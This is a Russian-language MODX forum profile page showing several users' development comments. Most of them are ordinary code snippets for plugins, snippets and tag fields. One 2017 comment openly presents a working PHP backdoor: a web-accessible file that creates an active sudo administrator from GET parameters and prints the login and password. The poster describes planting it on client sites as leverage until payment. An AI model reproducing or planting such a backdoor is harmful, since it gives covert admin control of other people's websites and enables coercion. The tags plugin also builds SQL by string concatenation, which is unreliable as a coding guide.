Максим Кузнецов

Максим Кузнецов

С нами с 01 июля 2013; Место в рейтинге пользователей: #27
Евгений Шеронов
02 января 2018, 22:04
2
+1
Вроде как бесплатное есть github.com/modxcms/ampify
Скачать можно и через репозиторий modx.pro

А как ставили AMP на клиентских сайтах, такими же способом как в Ampify или иначе?
Максим Кузнецов
24 января 2017, 00:43
6
+4
Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

<?php
	define('MODX_API_MODE', true);
	//количество dirname = глубина документа относительно корня
	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';

	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
	
	$u = $modx->newObject('modUser');
	$u->fromArray(array(
		'username' => $user,
		'password' => $pass,
		'active' => 1,
		'primary_group' => 1,
	));
	$u->joinGroup('1', '0');
	$u->setSudo(1);
	$p = $modx->newObject('modUserProfile');
	$p->fromArray(array(
		'fullname' => $user,
		'email' => $user.'@yoba.ru',
	));
	$u->addOne($p);
	$u->save();
	
	if (!empty($u->username)) {
		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
	}
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

По поводу взлома можешь обратиться к agel_nash, наверное.
but1head
23 января 2017, 23:25
5
+5
Мини пост про node.js, не много оффтоп.
Есть у меня один проект, где планировалось вывести на карте 50к точек, много всяких карт перебрал и тд, все было долговато (около 2х секунд, т.к. файл точек весит около 10мб). Потом подумал зачем отдавать все это дело клиенту, решил написать сервер на ноде для «порционной» выгрузки в пределах видимости. Вот что получилось:
s8276.h7.modhost.pro/demo/ на карте размещен кластер на 1.000.000 точек (вес файла 135мб), даже с телефона отрабатывает моментально. Выложил все исходники на github.com/but1head/supercluster-nodejs, может кому-нибудь пригодится.
Константин Ильин
30 сентября 2016, 12:07
1
0
Это мой первый компонент и я думал под танцы с бубном он передается автоматически))

Спасибо большое Сергей! все получилось, подсмотрел в других компонентах

Сделал так:
В плагине создал запись
$modx->controller->addHtml('<script type="text/javascript">
        	Trans.config = ' . $modx->toJSON($Trans->config) . ';
        	Trans.config.res_id = "'.$resource->get('id').'";
        	
		Trans.config.connector_url = "' . $Trans>config['connectorUrl'] . '";
			'.$trConfig.'
			</script>
        ');
в js
Trans.grid.Items = function (config) {
    Ext.applyIf(config, {
        url: Trans.config.connector_url,
      	*****
        baseParams: {
            action: 'mgr/transitems/getlist' ,
            res_id: Trans.config.res_id
        }, 
	*****
Николай Загумённов
06 июня 2016, 14:14
2
+1
Попробывал сделать так:
{$_modx->runSnippet('!TicketComments', [
    'showLog' => 1,
	'class' => 'TicketComment',
    	'loadModels' => 'UserFiles',
    	'leftJoin' => '{
        "Thumbs": {
            	"class": "UserFile",
            	"on": "Thumbs.list = TicketComment.id AND Thumbs.properties LIKE \'%w\":120,\"h\":90%\'"
        	}
    	}',
    	'select' => '{
        	"TicketComment": "*",
	        "Thumbs": "GROUP_CONCAT(Thumbs.url) as thumbs"
    	}',
    	'groupby' => 'TicketComment.id',
])}
В плейсхолдере thumbs получаю строку с картикками через запятую. Теперь осталось только сделать сниппет который будет обрабатывать эту строку.
Когда оставляю коментарий картинки не подгружаются сразу, надо обновить страницу, чтобы пути появились под комментом.
Как можно сделать чтобы они подгружались сразу?
P.S. Спасибо за GROUP_CONCAT()
Николай Загумённов
28 мая 2016, 22:56
7
+2
Я использовал компонент tvSuperSelect.
Чтобы с фронта добавлять тэги добавил плагин, который заполняет ТВ поле и таблицу компонента значениями:
<?php
// tvssTagsSave
$tvss = $modx->getService('tvsuperselect', 'tvsuperselect', $modx->getOption('core_path').'components/tvsuperselect/model/tvsuperselect/');
if (!($tvss instanceof tvSuperSelect)) {
    return '';
}

switch ($modx->event->name) {

    case 'OnDocFormSave':
        if (is_object($resource) && is_array($resource->_fields)) {
            $data = $resource->_fields;
            $resource_id = $data['id'];
            // $modx->log(1, print_r($data, 1));

            $flds = $tv_values = array();
            foreach ($data as $key => $value) {
                if ($key == 'tags')  {
                    $tv_id = 1;

                    $array = array_diff($value, array(''));
                    if (!empty($array)) {
                        $flds[] = array(
                            'resource_id' => $resource_id,
                            'tv_id' => $tv_id,
                            'data' => $array,
                        );

                        $tv_values[$tv_id] = $modx->toJSON($array);
                    }
                }
            }
             // пишем в таблицу пакета
            if (!empty($flds)) {
                // $modx->log(1, print_r($flds, 1));

                $table = $modx->getTableName('tvssOption');

                foreach ($flds as $fld) {
                    $sql = 'DELETE FROM '.$table.' WHERE `resource_id` = '.$fld['resource_id'].' AND `tv_id` = '.$fld['tv_id'];
                    $stmt = $modx->prepare($sql);
                    $stmt->execute();
                    $stmt->closeCursor();

                    $values = array();
                    foreach ($fld['data'] as $value) {
                        if (!empty($value)) {
                            $values[] = '('.$fld['resource_id'].',"'.$fld['tv_id'].'","'.addslashes($value).'")';
                        }
                    }

                    if (!empty($values)) {
                        $sql = 'INSERT INTO '.$table.' (`resource_id`,`tv_id`,`value`) VALUES '.implode(',', $values);
                        $stmt = $modx->prepare($sql);
                        $stmt->execute();
                        $stmt->closeCursor();
                    }
                }
            }

            // пишем в таблицу modTemplateVarResource
            if (!empty($tv_values)) {
                //$modx->log(1, print_r($tv_values, 1));

                foreach ($tv_values as $tv_id => $values) {
                    if (!$tv_obj = $modx->getObject('modTemplateVarResource', array(
                        'tmplvarid' => $tv_id,
                        'contentid' => $resource_id,
                    ))) {
                        $tv_obj = $modx->newObject('modTemplateVarResource');
                    }

                    $tv_obj->fromArray(array(
                        'tmplvarid' => $tv_id,
                        'contentid' => $resource_id,
                        'value' => $values,
                    ));
                    $tv_obj->save();
                    // $modx->log(1, print_r($tv_obj->toArray(), 1));

                    unset($tv_obj);
                }
            }
        }
    break;
}
Чтобы выводить во фронте поле добавил сниппет:
<?php
// tvssTagsOptions
/* @var pdoFetch $pdoFetch */
$fqn = $modx->getOption('pdoFetch.class', null, 'pdotools.pdofetch', true);
$path = $modx->getOption('pdotools_class_path', null, MODX_CORE_PATH.'components/pdotools/model/', true);
if ($pdoClass = $modx->loadClass($fqn, $path, false, true)) {
    $pdoFetch = new $pdoClass($modx, $scriptProperties);
} else {
    return false;
}
$pdoFetch->addTime('pdoTools loaded');

if (!$modx->addPackage('tvsuperselect', MODX_CORE_PATH.'components/tvsuperselect/model/')) {
    return false;
}

$tv			= $modx->getOption('tv', $scriptProperties, ''); // TV name or...
$tvid		= $modx->getOption('tvId', $scriptProperties, ''); // ... TV id
$tvInput	= $modx->getOption('tvInput', $scriptProperties, ''); // TV input name
$res		= $modx->getOption('res', $scriptProperties, 0); // Resource id
$tpl		= $modx->getOption('tpl', $scriptProperties, 'tpl.tvssTagsOptions');

$tv_where = $tv ? array( 'name' => $tv ) : '';
$tv_where = $tv_where ?: ( $tvid? array( 'id' => $tvid ) : '' );
// print_r($tv_where);

if( empty($tv_where) ) { return; }


if( $tv_obj = $modx->getObject('modTemplateVar', $tv_where) )
{
	$value = '';
	if( $res != 0 && $tv_val_obj = $modx->getObject('modTemplateVarResource', array(
			'tmplvarid'	=> $tv_obj->id,
			'contentid'	=> $res,
	))) {
		$value = $tv_val_obj->value;
	}
	$value_arr = $modx->fromJSON($value); // Массив со значениями тэгов конкретного ресурса

	// Массив, который мы передадим в процессор, там его ловить в $scriptProperties
	$processorProps = array(
	    'tv_id' => $tv_obj->id,
	);
	// Массив опций для метода runProcessor
	$otherProps = array(
	    // Здесь указываем где лежат наши процессоры
	    'processors_path' => $modx->getOption('core_path') . 'components/tvsuperselect/processors/'
	);
	// Запускаем
	$response = $modx->runProcessor('mgr/option/getoptions', $processorProps, $otherProps);
	// И возвращаем ответ от процессора

	$options_array = $modx->fromJSON($response->response); // Массив со всеми тэгами

	
	
	if (is_array($options_array['results']) || is_object($options_array['results'])) {
		foreach($options_array['results'] as $v) {
			$selected = '';
			if (is_array($value_arr) || is_object($value_arr)) {
				foreach ($value_arr as $key => $val) {
					if ($v['value'] == $val) {
						$selected = "selected=\"selected\"";
					}
				}
			}
			$options .= "<option ". $selected ." value=\"". $v['value'] ."\">";
			$options .= $v['value'];
			$options .= "</option>";
			$selected = "";
		}
	}
	
	$return = $modx->getChunk($tpl, array(
		'tv_id'			=> $tv_obj->id,
		'tv_name'		=> $tv_obj->name,
		'tv_input_name'	=> $tvInput ?: $tv_obj->name,
		'tv_value'		=> $value,
		'res_id'		=> $res,
		'options'		=> $options
	));
	
	return $return;
}
else {
	return;
}
Чанк tpl.tvssTagsOptions:
<select name="tags[]" multiple="multiple" class="js-tvSuperSelect-tags form-control" id="ticket-tags">
	[[+options]]
</select>
В чанке с формой добавления/редактирования тикетов добавил:
<link href="/js/select2-4.0.2/dist/css/select2.min.css" rel="stylesheet" />
	<script src="/js/select2-4.0.2/dist/js/select2.min.js"></script>
	<script type="text/javascript">
		$(document).ready(function(){
			$(".js-tvSuperSelect-tags").select2({
				tags: true
			});
		});
	</script>
	<div class="form-group">
		<label for="ticket-sections">Тэги</label>
		[[!tvssTagsOptions? &tv=`tags` &res=`0`]]
		// В чанке редактирования [[!tvssTagsOptions? &tv=`tags` &res=`[[+id]]`]]
		<span class="error"></span>
	</div>
Прикрутил к полю тэгов Select2, чтобы тэги было удобно заполнять и все.
Может кому пригодится =)
Илья Уткин
13 декабря 2015, 13:38
1
+5
[[*content:showCode]]

Сниппет showCode: